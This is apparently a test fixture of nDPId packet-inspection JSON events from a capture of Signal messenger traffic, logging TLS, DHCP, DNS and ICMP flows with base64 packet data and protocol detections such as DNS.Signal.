+00497{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":974411,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xiwDYGpkxGGLNYKpCABFAABnAABAAEAGZEnAqAIRIuHwrcBKAbtArcTl+38xkIAYCAACOwAAAQEICihVTvxkFVcsFAMDAAEBFgMDACjF9vt\/9gkmYguZ\/E008ELB8CGGKKgGnT35n32pwCXRS\/STmslJWMGa"} +00423{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051248,"pkt_ts_usec":83530,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0cPMAAO0Ghogi4fCtwKgCEQG7wEr7fzGQQK3FGIAQAG54fQAAAQEICmQVV0coVU78"} +00495{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051248,"pkt_ts_usec":83551,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAABncPQAAO0GhlQi4fCtwKgCEQG7wEr7fzGQQK3FGIAYAG5cXgAAAQEICmQVV0coVU78FAMDAAEBFgMDACjFKRzNiN688WuC\/jhhgMDnvnEWIkXsOIwqIk1\/je0ktQnyQDtkTv0L"} +00424{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051248,"pkt_ts_usec":84947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGZHzAqAIRIuHwrcBKAbtArcUY+38xw4AQB\/9wSwAAAQEICihVT2pkFVdH"} +01017{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051248,"pkt_ts_usec":104787,"pkt_caplen":502,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":502,"pkt_l4_len":468,"pkt":"xiwDYGpkxGGLNYKpCABFAAHoAABAAEAGYsjAqAIRIuHwrcBKAbtArcUY+38xw4AYCAD9QQAAAQEICihVT35kFVdHFwMDAa\/F9vt\/9gkmYxL\/+ShPTbFvI1PSPYhUM2de99uXXOHXe9OCXLAUfarkUFfRoe5S47APECytCBHsU0u7TdOM\/XF8xVecTCpQuOm6IEHioppxi2LiRb6vTlZfdTzTgq8ExcQVwy1FsKT5KSeMhsz1VrnGNNkKTe6g9yy1yjgMe7wf\/OZ60WcOhsNRAUUUrmlgEmXRmDQXh61e8dDNIAFuxrKkVrihwuZtI1leYNUChEvuTsGPsKolArsOXDwnuc2791g3u46Vb+P5NgXhP\/GwVi06j1An4YT0zQ+H1zJQ5jv0ZeQLF+tW4yxbichxXk8GrqQYk7I+t+w6WSfnDUjOulq15JRfVl1HArxinr7NuRrAWd9wpdBZPIs8UeQonaxWS9EijXMrsnMZjwZODw9cXwmnF0iQT5V1IjxpZt0Ro7pTOEoSsWww5eXtxWQq6So6o8fP1Nk3wxRHcFHtqXUR0ojeEYUhYR8k+TZXdb2m59C3zrdwC+x2kqxLgwN337oSIRUgcCiGE3mcm25rRLWcfutMjVWfN6jzcPjvqsGnAOIR9r8VfnOBoq2GToS+NZyDIQ=="} +00808{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051248,"pkt_ts_usec":547165,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIKTAAAP8RkXUAAAAA\/\/\/\/\/wBEAEMBNJw9AQEGACG6jqoABAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00808{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051253,"pkt_ts_usec":252519,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIKTEAAP8RkXQAAAAA\/\/\/\/\/wBEAEMBNJw4AQEGACG6jqoACQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":149,"source":"signal.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1569051255515,"flow_last_seen":0,"flow_tot_l4_data_len":78,"flow_min_l4_data_len":78,"flow_max_l4_data_len":78,"flow_avg_l4_data_len":78,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.146.144","src_port":56996,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":515841,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"xiwDYGpkxGGLNYKpCABFAABiAABAAEAG01TAqAIREfiSkN6kAbu8mMGjrFDpOoAYBADERQAAAQEICihVb2TeKRePFwMDACkAAAAAAAAAByneD5KHf7LhXiN5Pdq3wP31zhE4MGciEgckOq75+f9F5w=="} +00468{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":515860,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xiwDYGpkxGGLNYKpCABFAABTAABAAEAG02PAqAIREfiSkN6kAbu8mMHRrFDpOoAYBABt7AAAAQEICihVb2XeKRePFQMDABoAAAAAAAAACJW1v\/IhTp91V+O68DpoE88kag=="} +00423{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":515909,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG04LAqAIREfiSkN6kAbu8mMHwrFDpOoARBACJkgAAAQEICihVb2XeKReP"} +00423{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":539572,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0qAMAADEGen8R+JKQwKgCEQG73qSsUOk6vJjB0YAQBCu0hAAAAQEICt4q7JEoVW9k"} +00423{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":539575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0qAQAADEGen4R+JKQwKgCEQG73qSsUOk6vJjB8IAQBCu0ZAAAAQEICt4q7JEoVW9l"} +00423{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":539646,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0qAUAADEGen0R+JKQwKgCEQG73qSsUOk6vJjB8IARBCu0YwAAAQEICt4q7JEoVW9l"} +00423{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":539776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0qAYAADEGenwR+JKQwKgCEQG73qSsUOk7vJjB8YAQBCu0YgAAAQEICt4q7JEoVW9l"} +00423{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051255,"pkt_ts_usec":541412,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG04LAqAIREfiSkN6kAbu8mMHwrFDpO4ARBAC0cgAAAQEICihVb4DeKuyR"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":157,"source":"signal.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1569051257169,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"2.18.232.118","src_port":57017,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":169058,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xiwDYGpkxGGLNYKpCABFAABLAABAAEAGjWvAqAIRAhLodt65Absqy4Q4WMZypYAYBABE5AAAAQEICihVdq6vX9qZFQMDABKEOlUEciue5QZs7g3+sWQHUk8="} +00423{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":169426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGjYLAqAIRAhLodt65Absqy4RPWMZypYARBABBggAAAQEICihVdq6vX9qZ"} +00455{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":192060,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xGGLNYKpxiwDYGpkCABFAABL884AADUG5JwCEuh2wKgCEQG73rlYxnKlKsuET4AYAQIBNAAAAQEICq9gUAcoVXauFQMDABK6ebhIWf6gqCdSaZoYDdKf06A="} +00423{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":192085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0888AADUG5LICEuh2wKgCEQG73rlYxnK8KsuET4ARAQLO+gAAAQEICq9gUAcoVXau"} +00423{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":192407,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA089AAADUG5LECEuh2wKgCEQG73rlYxnK9KsuEUIAQAQLO+AAAAQEICq9gUAgoVXau"} +00407{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":194310,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkxGGLNYKpCABFAAAoAABAAEAGjY7AqAIRAhLodt65Absqy4RPAAAAAFAEAABzDwAA"} +00407{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":194777,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkxGGLNYKpCABFAAAoXdwAAEAGb7LAqAIRAhLodt65Absqy4RPAAAAAFAEAABzDwAA"} +00408{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051257,"pkt_ts_usec":194834,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkxGGLNYKpCABFAAAo4ZQAAEAG6\/nAqAIRAhLodt65Absqy4RQAAAAAFAEAABzDgAA"} +00808{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051261,"pkt_ts_usec":595218,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIKTIAAP8RkXMAAAAA\/\/\/\/\/wBEAEMBNJwwAQEGACG6jqoAEQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"signal.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1569051264073,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":49227,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":73974,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGUS7AqAIRI6kDKMBLAbsF0WXIAAAAALAC\/\/9prAAAAgQFtAEDAwYBAQgKKFWN0AAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"signal.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1569051264078,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57022,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":78385,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGSLbAqAIRFzkYEN6+AbvH3a+JAAAAALAC\/\/8ydQAAAgQFtAEDAwcBAQgKKFWSTQAAAAAEAgAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":174,"source":"signal.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1569051264088,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":56263,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":88425,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xiwDYGpkxGGLNYKpCABFAABTylIAAP8Ra+TAqAIRwKgCAdvHADUAPyTGAMEBAAABAAAAAAAAEnRleHRzZWN1cmUtc2VydmljZQ53aGlzcGVyc3lzdGVtcwNvcmcAAAEAAQ=="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":174,"source":"signal.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1569051264088,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":56263,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Signal","breed":"Fun","category":"Chat"},"dns": {"query":"textsecure-service.whispersystems.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"signal.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1569051264090,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57023,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":90815,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGUS7AqAIRI6kDKN6\/Abvpz5RJAAAAALAC\/\/80LQAAAgQFtAEDAwcBAQgKKFWSWgAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":176,"source":"signal.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1569051264091,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57024,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":91926,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGUS7AqAIRI6kDKN7AAbuO10RdAAAAALAC\/\/\/fDwAAAgQFtAEDAwcBAQgKKFWSWwAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":177,"source":"signal.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1569051264093,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57025,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":93006,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGUS7AqAIRI6kDKN7BAbuYIIuMAAAAALAC\/\/+OlgAAAgQFtAEDAwcBAQgKKFWSWwAAAAAEAgAA"} +00436{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":113301,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADQGlLoXORgQwKgCEQG73r7gO6oYx92viqAScSBHlgAAAgQFrAQCCAqWTmoXKFWSTQEDAwc="} +00599{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":113960,"pkt_caplen":193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":193,"pkt_l4_len":159,"pkt":"xGGLNYKpxiwDYGpkCABFAACz4rsAAEAREhzAqAIBwKgCEQA128cAn9JUAMGBgAABAAYAAAAAEnRleHRzZWN1cmUtc2VydmljZQ53aGlzcGVyc3lzdGVtcwNvcmcAAAEAAcAMAAEAAQAAAB0ABDavL27ADAABAAEAAAAdAAQi4fCtwAwAAQABAAAAHQAEaxdHWcAMAAEAAQAAAB0ABCOpAyjADAABAAEAAAAdAAQ0zyk7wAwAAQABAAAAHQAENMjD8Q=="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":179,"source":"signal.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":2,"flow_first_seen":1569051264088,"flow_last_seen":1569051264113,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":63,"flow_max_l4_data_len":159,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":56263,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Signal","breed":"Fun","category":"Chat"},"dns": {"query":"textsecure-service.whispersystems.org","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.175.47.110"}} +00441{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"signal.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569051264115,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":115004,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkxGGLNYKpCABFAAA4YPoAAEABlGjAqAIRwKgCAQMDIGEAAAAARQAAs+K7AABAERIcwKgCAcCoAhEANdvHAJ8AAA=="} +00473{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":180,"source":"signal.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1569051264115,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} 